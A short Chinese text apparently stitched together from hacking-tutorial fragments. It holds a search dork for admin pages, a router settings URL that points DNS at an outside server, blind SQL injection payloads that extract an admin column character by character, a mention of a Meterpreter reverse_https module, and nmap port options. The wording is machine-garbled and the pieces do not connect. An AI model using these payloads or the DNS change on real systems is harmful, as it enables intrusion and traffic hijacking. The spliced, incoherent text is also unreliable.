Google搜索要害字 “关于本站 – 网站协助 – 广告协作 – 下载声明 – 友谊衔接 – 网站地图 – 办理登录”hxxp://xxx:xxx@192.168.1.1/xxx/xxx.xxx?dhcp_on_chk=0&dhcp_server_on=1&dhcp_start_ip1=192.168.1.2&dhcp_end_ip1=192.168.1.254&dhcp_start_ip2=&dhcp_end_ip2=&dhcp_start_ip3=&dhcp_end_ip3=&lan_as_gw_chk=0&is_lan_as_gw=1&custom_gw=&lease_time=86400&is_router_as_dns=1&dns1=133.xxx.xxx.251&dns2=8.8.8.8&dns3=&auto_bind=1&submitbutton=+%E4%BF%9D%E5%AD%98%E7%94%9F%E6%95%88先从admin的列开端，看看Ascii码是多少。 ↓具体办法见图and (select top 1 asc(mid(列,位数,1)) from 表)=97 获取指定列的内容长度，位数先从1开端，前面现已获取到admin里边内容长度是5位，现在获取之一位的Ascii码。 所以咱们句子便是↓and (select top 1 asc(mid(admin,1,1)) from 表)=97 后边的=97 是要根据自己测验的，如图。 在对环境做了深入分析之后，咱们运用的meterpreter模块(windows/meterpreter/reverse_https)并没有进犯成功。

会看到回显，用户ID存在 Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9139/tcp open netbios-ssn众所周知，MySQL是一款免费的、开源的数据库服务器软件。